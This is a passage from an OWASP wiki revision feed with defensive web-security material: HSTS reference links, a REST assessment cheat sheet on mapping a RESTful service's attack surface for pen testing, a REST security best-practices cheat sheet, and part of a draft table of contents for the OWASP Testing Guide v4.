[http://dev.chromium.org/sts Chromium Projects/HSTS]<br />
<br />
[http://tools.ietf.org/html/rfc6797 HSTS Spec]<br />
<br />
[http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security Wikipedia]<br />
<br />
[https://developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security Mozilla Developer Network]<br />
<br />
[https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet OWASP TLS Protection Cheat Sheet]<br />
<br />
[https://developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security Firefox STS Support]<br />
<br />
[http://lists.w3.org/Archives/Public/public-webapps/2009JulSep/1148.html Google Chrome STS Support]<br />
<br />
<br />
<br />
[[Category:Control|Control]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=REST_Assessment_Cheat_Sheet&diff=164283REST Assessment Cheat Sheet2013-12-04T09:48:16Z<p>Ryan Dewhurst: "cheat" to "cheat sheet"</p>
<hr />
<div>= About RESTful Web Services =<br />
<br />
Web Services are an implementation of web technology used for machine to machine communication. As such they are used for Inter application communication, Web 2.0 and Mashups and by desktop and mobile applications to call a server. RESTful web services (often called simply REST) are a light weight variant of Web Services based on the RESTful design pattern. In practice RESTful web services utilizes HTTP requests that are similar to regular HTTP calls in contrast with other Web Services technologies such as SOAP which utilizes a complex protocol.<br />
<br />
= Key relevant properties of RESTful web services =<br />
* Use of HTTP methods (GET, POST, PUT and DELETE) as the primary verb for the requested operation.<br />
* None standard parameters specifications:<br />
** As part of the URL<br />
** In headers<br />
* Structured parameters and responses using JSON or XML in a parameter values, request body or response body. Those are required to communicate machine useful information.<br />
* Custom authentication and session management, often utilizing custom security tokens: this is needed as machine to machine communication does not allow for login sequences.<br />
* Lack of formal documentation. A proposed standard for describing RESTful web services called WADL was never officially adapted. <br />
<br />
= The challenge of security testing RESTful web services =<br />
* Inspecting the application does not reveal the attack surface, I.e. the URLs and parameter structure used by the RESTful web service. The reasons are:<br />
** No application utilizes all the available functions and parameters exposed by the service <br />
** Those used are often activated dynamically by client side code and not as links in pages.<br />
** The client application is often not a web application and does not allow inspection of the activating link or even relevant code. <br />
* The parameters are none standard making it hard to determine what is just part of the URL or a constant header and what is a parameter worth fuzzing.<br />
* As a machine interface the number of parameters used can be very large, for example a JSON structure may include dozens of parameters. Fuzzing each one significantly lengthen the time required for testing.<br />
* Custom authentication mechanisms require reverse engineering and make popular tools not useful as they cannot track a login session.<br />
<br />
= How to pen test a RESTful web service? =<br />
; Determine the attack surface through documentation - RESTful pen testing might be better off if some level of white box testing is allowed and you can get information about the service. This information will ensure fuller coverage of the attack surface. Such information to look for:<br />
* Formal service description - While for other types of web services such as SOAP a formal description, usually in WSDL is often available, this is seldom the case for REST. That said, either WSDL 2.0 or WADL can describe REST and are sometimes used.<br />
* A developer guide for using the service may be less detailed but will commonly be found, and might even be considered "black box"<br />
* Application source or configuration - in many frameworks, including dotNet ,the REST service definition might be easily obtained from configuration files rather than from code.<br />
<br />
; Collect full requests using a proxy - while always an important pen testing step, this is more important for REST based applications as the application UI may not give clues on the actual attack surface. Note that the proxy must be able to collect full requests and not just URLs as REST services utilize more than just GET parameters.<br />
<br />
; Analyze collected requests to determine the attack surface:<br />
* Look for non-standard parameters:<br />
** Look for abnormal HTTP headers - those would many times be header based parameters. <br />
** Determine if a URL segment has a repeating pattern across URLs. Such patterns can include a date, a number or an ID like string and indicate that the URL segment is a URL embedded parameter. For example: http://server/srv/2013-10-21/use.php<br />
** Look for structured parameter values - those may be JSON, XML or a non-standard structure. <br />
** If the last element of a URL does not have an extension, it may be a parameter. This is especially true if the application technology normally uses extensions or if a previous segment does have an extension. For example: http://server/svc/Grid.asmx/GetRelatedListItems<br />
** Look for highly varying URL segments - a single URL segment that has many values may be parameter and not a physical directory. For example if the URL http://server/src/XXXX/page repeats with hundreds of value for XXXX, chances XXXX is a parameter.<br />
; Verify non-standard parameters: in some cases (but not all), setting the value of a URL segment suspected of being a parameter to a value expected to be invalid can help determine if it is a path elements of a parameter. If a path element, the web server will return a 404 message, while for an invalid value to a parameter the answer would be an application level message as the value is legal at the web server level.<br />
<br />
; Analyzing collected requests to optimize fuzzing - after identifying potential parameters to fuzz, analyze the collected values for each to determine -<br />
* Valid vs. invalid values, so that fuzzing can focus on marginal invalid values. For example sending "0" for a value found to be always a positive integer.<br />
* Sequences allowing to fuzz beyond the range presumably allocated to the current user.<br />
<br />
; Lastly, when fuzzing, don't forget to emulate the authentication mechanism used.<br />
<br />
= Related Resources =<br />
* [[REST Security Cheat Sheet]] - the other side of this cheat sheet<br><br />
* [http://www.xiom.com/2011/11/20/restful_webservices_testing RESTful services, web security blind spot] - a presentation (including video) elaborating on most of the topics on this cheat sheet. <br />
<br />
<br />
{{Cheatsheet_Navigation}}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Ofer Shezaf - ofer@shezaf.com<br/><br />
<br />
[[Category:Cheatsheets]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&diff=164282REST Security Cheat Sheet2013-12-04T09:45:06Z<p>Ryan Dewhurst: Changed XEE to the correct XXE</p>
<hr />
<div>= Introduction =<br />
<br />
[http://en.wikipedia.org/wiki/Representational_state_transfer REST] or REpresentational State Transfer is a means of expressing specific entities in a system by URL path elements, REST is not an architecture but it is an architectural style to build services on top of the Web. REST allows interaction with a web-based system via simplified URL's rather than complex request body or <tt>POST</tt> parameters to request specific items from the system. This document serves as a guide (although not exhaustive) of best practices to help REST-based services.<br />
<br />
= Authentication and Session Management =<br />
<br />
RESTful web services should use session based authentication, either by establishing a session token via a POST, or using an API key as a POST body argument or as a cookie. Usernames and passwords, session tokens and API keys should not appear in the URL, as this can be captured in web server logs and makes them intrinsically valuable. <br />
<br />
OK:<br />
<br />
* [https://example.com/resourceCollection/123/action https://example.com/resourceCollection/<id>/action]<br />
* https://twitter.com/vanderaj/lists<br />
<br />
NOT OK:<br />
<br />
* [https://example.com/controller/123/action?apiKey=a53f435643de32 https://example.com/controller/<id>/action?apiKey=a53f435643de32] (API Key in URL)<br />
* [http://example.com/controller/123/action?apiKey=a53f435643de32 http://example.com/controller/<id>/action?apiKey=a53f435643de32] (transaction not protected by TLS and API Key in URL)<br />
<br />
== Protect Session State ==<br />
<br />
Many web services are written to be as stateless as possible. This usually ends up with a state blob being sent as part of the transaction. <br />
<br />
* Consider just using the session token or API key to maintain client state in a server side cache. This is directly equivalent to how normal web apps do it, and there's a reason why this is moderately safe. <br />
* Anti-replay. Attackers will cut and paste a blob and become someone else. Consider using a time limited encryption key, keyed against the session token or API key, date and time and incoming IP address. In general, implement some protection of local client storage of the authentication token to mitigate replay attacks.<br />
* Don't make it easy to decrypt and change the internal state to be much better than it should be. <br />
<br />
In short, even if you have a brochureware web site, don't put in https://example.com/users/2313/edit?isAdmin=false&debug=false&allowCSRPanel=false as you will quickly end up with a lot of admins, and help desk helpers, and "developers".<br />
<br />
= Authorization =<br />
<br />
== Anti-farming ==<br />
<br />
Many RESTful web services are put up, and then farmed, such as a price matching website or aggregation service. There's no technical method of preventing this use, so strongly consider means to encourage it as a business model by making high velocity farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but not well funded or technically competent adversaries. Using mutually assured client side TLS certificates may be a method of limiting access to trusted organizations, but this is by no means certain, particularly if certificates are posted deliberately or by accident to the Internet. <br />
<br />
== Protect HTTP methods ==<br />
<br />
RESTful API often use GET (read), POST (create), PUT (replace/update) and DELETE (to delete a record). Not all of these are valid choices for every single resource collection, user, or action. Make sure the incoming HTTP method is valid for the session token/API key and associated resource collection, action, and record. For example, if you have an RESTful API for a library, it's not okay to allow anonymous users to DELETE book catalog entries, but it's fine for them to GET a book catalog entry, whereas for the librarian, both of these are valid uses. <br />
<br />
== Whitelist Allowable Methods ==<br />
<br />
It is common with RESTful services to allow multiple methods for a given URL for different operations on that entity. For example, a <tt>GET</tt> request might read the entity while <tt>POST</tt> would update an existing entity, <tt>PUT</tt> would create a new entity, and <tt>DELETE</tt> would delete an existing entity. It is important for the service to properly restrict the allowable verbs such that only the allowed verbs will work, all others return a proper response code (for example, a <tt>403 Forbidden</tt>).<br />
<br />
In Java EE in particular, this can be difficult to implement properly. See [https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=18 Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.<br />
<br />
== Protect privileged actions and sensitive resource collections ==<br />
<br />
Not every user has a right to every web service. This is vital, as you don't want administrative web services to be misused:<br />
<br />
* https://example.com/admin/exportAllData<br />
<br />
The session token or API key should be sent along as a cookie or body parameter to ensure that privileged collections or actions are properly protected from unauthorized use.<br />
<br />
== Protect against cross-site request forgery ==<br />
<br />
For resources exposed by RESTful web services, it's important to make sure any PUT, POST and DELETE request is protected from Cross Site Request Forgery. Typically one would use a token based approach. See [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet]] for more information on how to implement CSRF-protection. <br />
<br />
CSRF is easily achieved even using random tokens if any XSS exists within your application, so please make sure you understand [[XSS (Cross Site Scripting) Prevention Cheat Sheet|how to prevent XSS]].<br />
<br />
== Insecure Direct object references ==<br />
<br />
It may seem obvious, but if you had a bank account REST web service, you have to make sure there is adequate checking of primary and foreign keys:<br />
<br />
* https://example.com/account/325365436/transfer?amount=$100.00&toAccount=473846376<br />
<br />
In this case, it would be possible to transfer money from any account to any other account, which is clearly insane. Not even a random token makes this safe. <br />
<br />
* https://example.com/invoice/2362365<br />
<br />
In this case, it would be possible to get a copy of all invoices. <br />
<br />
Please make sure you understand how to protect against [[Top_10_2010-A4-Insecure_Direct_Object_References|insecure direct object references]] in the OWASP Top 10 2010.<br />
<br />
= Input Validation =<br />
<br />
== Input validation 101 ==<br />
<br />
Everything you know about input validation applies to RESTful web services, but add 10% because automated tools can easily fuzz your interfaces for hours on end at high velocity. So:<br />
<br />
* Assist the user > Reject input > Sanitize (filtering) > No input validation<br />
<br />
Assisting the user makes the most sense, as the most common scenario is "problem exists between keyboard and computer" (PEBKAC). Help the user input high quality data into your web services, such as ensuring a Zip code makes sense for the supplied address, or the date makes sense. If not, reject that input. If they continue on, or it's a text field or some other difficult to validate field, input sanitization is a losing proposition but still better than XSS or SQL injection. If you're already reduced to sanitization or no input validation, make sure output encoding is very strong for your application. <br />
<br />
Log input validation failures, particularly if you assume that client side code you wrote is going to call your web services. The reality is that anyone can call your web services, so assume that someone who is performing hundreds of failed input validations per second is up to no good. Also consider rate limiting the API to a certain number of requests per hour or day to prevent abuse. <br />
<br />
== Secure parsing ==<br />
<br />
Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE attacks]. <br />
<br />
== Strong typing ==<br />
<br />
It's difficult to perform most attacks if the only allowed values are true or false, or a number, or one of a small number of acceptable values. Strongly type incoming data as quickly as possible. <br />
<br />
== Validate Incoming Content-Types ==<br />
<br />
When POSTing or PUTing new data, the client will specify the a Content-Type (e.g. <tt>application/xml</tt> or <tt>application/json</tt>) of the incoming data. The client should never assume the Content-Type, but always check that the Content-Type header and the content is of the same type. A lack of Content-Type header or an unexpected Content-Type header, should result in the server rejecting the Content with a <tt>406 Not Acceptable</tt> response.<br />
<br />
== Validate Response Types ==<br />
<br />
It is common for REST services to allow multiple response types (e.g. <tt>application/xml</tt> or <tt>application/json</tt>, and the client specifies the preferred order of response types by the <tt>Accept</tt> header in the request. '''Do NOT''' simply copy the <tt>Accept</tt> header to the <tt>Content-type</tt> header of the response. Reject the request (ideally with a <tt>406 Not Acceptable</tt> response) if the <tt>Accept</tt> header does not specifically contain one of the allowable types.<br />
<br />
Because there are many MIME types for the typical response types, it's important to document for clients specifically which MIME types should be used.<br />
<br />
== XML Input Validation == <br />
<br />
XML-based services must ensure that they are protected against common XML based attacks by using secure XML-parsing. This typically means protecting against XML External Entity attacks, XML-signature wrapping etc. See [http://ws-attacks.org http://ws-attacks.org] for examples of such attacks.<br />
<br />
= Output Encoding =<br />
<br />
== Send security headers ==<br />
<br />
To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an <tt>X-Content-Type-Options: nosniff</tt> to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).<br />
<br />
Additionally the client should send an <tt>X-Frame-Options: deny</tt> to protect against drag'n drop clickjacking attacks in older browsers.<br />
<br />
== JSON encoding ==<br />
<br />
A key concern with JSON encoders is to prevent arbitrary JavaScript remote code execution within the browser, or if you're using node.js, on the server. It's vital that you use a proper JSON serializer to encode user supplied data properly to prevent the execution of user supplied input on the browser. <br />
<br />
When inserting values into the browser DOM, strongly consider using .value/.innerText/.textContent rather than .innerHTML updates, as this protects against simple DOM XSS attacks. <br />
<br />
== XML encoding ==<br />
<br />
XML should never be built by string concatenation. It should always be constructed using an XML serializer. This ensures that the XML content sent to the browser is parseable, and does not contain XML injection. For more information, please see the [[Web Service Security Cheat Sheet]].<br />
<br />
= Cryptography =<br />
<br />
== Data in transit ==<br />
<br />
Unless completely read only public information, the use of TLS should be mandated, particularly where credentials, updates, deletions and any value transactions are performed. The overhead of TLS is negligible on modern hardware, with a minor latency increase that is more than compensated by safety for the end user. <br />
<br />
Consider the use of mutually authenticated client side certificates to provide additional protection for highly privileged web services. <br />
<br />
== Data in storage ==<br />
<br />
Leading practices are recommended as per any web application when it comes to correctly handling stored sensitive or regulated data. For more information, please see [[Top 10 2010-A7|OWASP Top 10 2010 - A7 Insecure Cryptographic Storage]].<br />
<br />
= Related Articles =<br />
<br />
{{Cheatsheet_Navigation}}<br />
<br />
= Authors and Primary Editors =<br />
<br />
Erlend Oftedal - erlend.oftedal@owasp.org<br/><br />
Andrew van der Stock - vanderaj@owasp.org<br/><br />
<br />
[[Category:Cheatsheets]]</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&diff=158037OWASP Testing Guide v4 Table of Contents2013-09-07T11:47:59Z<p>Ryan Dewhurst: Updated WebSockets link and naming</p>
<hr />
<div>__NOTOC__<br />
<br />
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''<br><br />
<br>You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] <br><br />
<br />
Back to the OWASP Testing Guide Project:<br />
http://www.owasp.org/index.php/OWASP_Testing_Project<br />
<br />
'''Updated: 15th February 2013'''<br />
<br />
[[ OWTGv4 Contributors list|'''Contributors List]]<br />
<br />
----<br />
<br />
<br />
The following is a DRAFT of the Toc based on the feedback already received.<br />
<br />
== Table of Contents ==<br />
<br />
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== <br />
[To review--> Eoin Keary -> Done!!]<br />
<br />
==[[Testing Guide Frontispiece |1. Frontispiece]]== <br />
[To review--> Mat]<br />
<br />
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' <br />
[To review--> Mat]<br />
<br />
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' <br />
[To review--> ]<br />
<br />
<br />
==[[Testing Guide Introduction|2. Introduction]]==<br />
<br />
'''2.1 The OWASP Testing Project'''<br />
<br />
'''2.2 Principles of Testing'''<br />
<br />
'''2.3 Testing Techniques Explained''' <br />
<br />
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]<br />
<br />
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]<br />
<br />
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==<br />
<br />
'''3.1. Overview'''<br />
<br />
'''3.2. Phase 1: Before Development Begins '''<br />
<br />
'''3.3. Phase 2: During Definition and Design'''<br />
<br />
'''3.4. Phase 3: During Development'''<br />
<br />
'''3.5. Phase 4: During Deployment'''<br />
<br />
'''3.6. Phase 5: Maintenance and Operations'''<br />
<br />
'''3.7. A Typical SDLC Testing Workflow '''<br />
<br />
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==<br />
<br />
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--> Mat]<br />
<br />
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --> Mat]<br />
<br />
<br />
[[Testing Information Gathering|'''4.2 Information Gathering ''']]<br />
<br />
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly "Search Engine Discovery/Reconnaissance (OWASP-IG-002)"<br />
<br />
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-004)"<br />
<br />
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly "Spiders, Robots and Crawlers (OWASP-IG-001)"<br />
<br />
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly "Application Discovery (OWASP-IG-005)"<br />
<br />
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly "Review webpage comments and metadata(OWASP-IG-007)"<br />
<br />
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly "Identify application entry points (OWASP-IG-003)"<br />
<br />
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly "Identify application exit/handover points (OWASP-IG-008)"<br />
<br />
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly "Map execution paths through application (OWASP-IG-009)"<br />
<br />
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"<br />
<br />
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly "Testing for Web Application Fingerprint (OWASP-IG-010)"<br />
<br />
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"<br />
<br />
<br />
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]<br />
<br />
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly "Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)"<br />
<br />
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly "Testing for Application Configuration Management weakness (OWASP-CM-002)"<br />
<br />
[[Testing for file extensions handling (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly "Testing for File Extensions Handling (OWASP-CM-003)"<br />
<br />
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly "Old, Backup and Unreferenced Files (OWASP-CM-004)"<br />
<br />
[[Testing for Admin Interfaces (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly "Infrastructure and Application Admin Interfaces (OWASP-CM-005)"<br />
<br />
[[Testing for HTTP Methods and XST (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly "Testing for Bad HTTP Methods (OWASP-CM-006)"<br />
<br />
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly "Testing for Database credentials/connection strings available (OWASP-CM-007)"<br />
<br />
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly "Testing for Content Security Policy weakness (OWASP-CM-008)"<br />
<br />
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly "Testing for Missing HSTS header (OWASP-CM-009)"<br />
<br />
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]<br />
<br />
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly "Testing for RIA policy files weakness (OWASP-CM-010)"<br />
<br />
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new<br />
<br />
<br />
[[Testing Identity Management|'''4.4 Identity Management Testing''']]<br />
<br />
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New<br />
<br />
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New<br />
<br />
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New<br />
<br />
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly "Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)"<br />
<br />
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly "Testing for Weak or unenforced username policy (OWASP-AT-009)<br />
<br />
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New<br />
<br />
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New<br />
<br />
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New<br />
<br />
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New<br />
<br />
<br />
<br />
[[Testing for authentication|'''4.5 Authentication Testing ''']] <br />
<br />
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)]] formerly "Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)"<br />
<br />
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly "Testing for default credentials (OWASP-AT-003)"<br />
<br />
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly "Testing for Weak lock out mechanism (OWASP-AT-004)"<br />
<br />
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly "Testing for bypassing authentication schema (OWASP-AT-005)"<br />
<br />
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly "Testing for vulnerable remember password functionality (OWASP-AT-006)"<br />
<br />
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly "Testing for Browser cache weakness (OWASP-AT-007)"<br />
<br />
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly "Testing for Weak password policy (OWASP-AT-008)"<br />
<br />
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel<br />
<br />
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly "Testing for weak password change or reset functionalities (OWASP-AT-011)"<br />
<br />
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)<br />
<br />
<br />
[[Testing for Authorization|'''4.6 Authorization Testing''']] <br />
<br />
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New<br />
<br />
[[Testing for Path Traversal (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly "Testing Directory traversal/file include (OWASP-AZ-001)"<br />
<br />
[[Testing for Bypassing Authorization Schema (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly "Testing for bypassing authorization schema (OWASP-AZ-002)"<br />
<br />
[[Testing for Privilege escalation (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly "Testing for Privilege Escalation (OWASP-AZ-003)"<br />
<br />
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly "Testing for Insecure Direct Object References (OWASP-AZ-004)"<br />
<br />
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly "Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)"<br />
<br />
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)<br />
<br />
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)<br />
<br />
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly "Testing for failure to restrict access to authenticated resource (OWASP-AT-010)"<br />
<br />
<br />
[[Testing for Session Management|'''4.7 Session Management Testing''']]<br />
<br />
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly "Testing for Bypassing Session Management Schema (OWASP-SM-001)"<br />
<br />
[[Testing for cookies attributes (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly "Testing for Cookies attributes (OWASP-SM-002)" (Cookies are set not ‘HTTP Only’, ‘Secure’, and no time validity)<br />
<br />
[[Testing for Session Fixation (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly "Testing for Session Fixation (OWASP-SM-003)"<br />
<br />
[[Testing for Exposed Session Variables (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly "Testing for Exposed Session Variables (OWASP-SM-004)"<br />
<br />
[[Testing for CSRF (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly "Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)"<br />
<br />
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]<br />
<br />
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly "Testing for logout functionality (OWASP-SM-007)"<br />
<br />
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]<br />
<br />
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]<br />
<br />
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]<br />
<br />
<br />
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] <br />
<br />
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly "Testing for Reflected Cross Site Scripting (OWASP-DV-001)"<br />
<br />
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly "Testing for Stored Cross Site Scripting (OWASP-DV-002)"<br />
<br />
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly "Testing for HTTP Verb Tampering (OWASP-DV-003)"<br />
<br />
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly "Testing for HTTP Parameter pollution (OWASP-DV-004)"<br />
<br />
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly "Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)"<br />
<br />
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly "Testing for SQL Injection (OWASP-DV-005)" '''Ready to be reviewed'''<br />
<br />
[[Testing for Oracle|4.8.6.1 Oracle Testing]]<br />
<br />
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]<br />
<br />
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]<br />
<br />
